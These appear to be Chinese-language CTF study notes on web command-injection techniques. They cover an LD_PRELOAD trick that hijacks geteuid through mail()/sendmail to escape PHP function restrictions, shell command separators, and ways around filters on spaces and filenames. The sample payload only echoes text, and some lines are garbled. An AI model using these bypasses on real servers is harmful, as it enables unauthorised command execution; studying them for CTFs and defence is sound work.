LD_PRELOAD绕过原理介绍
- mail 函数
- 内嵌在php里
- 先vim demo.php
- 里面写入mail(",",",")
- 然后用strace -o 1.txt -f php demo.php
- 这一句是用文档的形式记录我php demo.php 执行的内容
- 然后用cat 1.txt | grep execve
- 这一句是 检查有哪些是执行文件被调用里
- 发现里面有sendmail这个文件
- 使用readelf -Ws /usr/sbin/sendmail
- 然后发现一个 geteuid 函数
- 这个时候我们编辑一个库文件 demo.c
- void payload(){
- system("echo 'xx' ")
- }
- int geteuid(){
- unsetenv("LD_PRELOAD");
- payload();
- } 然后把这个文件编译成.so文件 生成动态链接库文件
- gcc -shared -fPIC demo.c -o demo.so
- 然后把一开始那个demo.php在开头加上一行
- putenv("LD_PRELOAD=./demo.so");
- 表示执行前先加载这个库文件
- 绕过条件
- 能够上传自己的.so文件
- 能够设置LD_PRELOAD变量的值,比如putenv函数并且未被禁止
- 存在可以控制php启动外部程序的函数并且能够执行
- 因为新的进程会加载LD_PRELOAD中的.so文件
- 比如mail()等
- imagick
- 需要扩展安装
操作系统连接符
- ;
- 用分号链接 前后都能执行 而且前面命令正确与否都不影响后面命令的执行
- &
- 提交后必须要url编码
- 而且前面命令不影响后面的执行
- 两个$
- 如果前面的命令执行成功,才能执行后面的
- 如果前面不成功,则两条都无法执行
- |
- 把前面命令的结果 作为 | 后面命令的参数
- 然后执行后面的命令
- ||
- 类似于if else语句
- 如果前面的命令执行成功,则后面的命令不再执行
- 反之执行后面的命令
空格过滤
- 大括号{}
- {cat,flag.txt} 第一个作为命令,第二个作为参数
- 使用$IFS ${IFS} $IFS$9
- 重定向字符<,<>;
- <表示的是输入重定向的意思,就是把<后面的文件取代键盘成为新的输入设备
- %09 TAB %20 SPACE
文件名过滤绕过
- ?代表单个字符,前提是这个字符要存在
- 比如flag.php 可以写成????.???
- *代表任意字符
- 比如f*.php *
- 单双引号
- 比如fla""g.p""hp 或者fla''g.p''hp
- \ 反斜线
- 比如 fla\g.ph\p
- \在Linux里是命令连接符
- 特殊变量
- 比如$1到$9、$@和$*等
- 因为他们的输出都为空
- 内联执行
- 定义变量 比如$a=f;
- 然后cat $alag.php
- 环境变量
- $
- 意思是使用环境变量PATH里的第五个字符里的第一位
- 从0开始数
文件读取命令的绕过
- tac 反向显示
- more 一页一页显示 在linux里按空格翻页
- less 与more 相似
- tail 查看末尾几行 最多十行
- nl 显示的时候 顺便输出行号
- od 二进制的方式读取
- xxd 读取二进制文件
- sort 主要用来排序文件
- uniq 报告或删除文件中重复的行
- file -f 报错出具体内容
- grep
- grep 搜索的字符 匹配的文件
- grep { fla*.php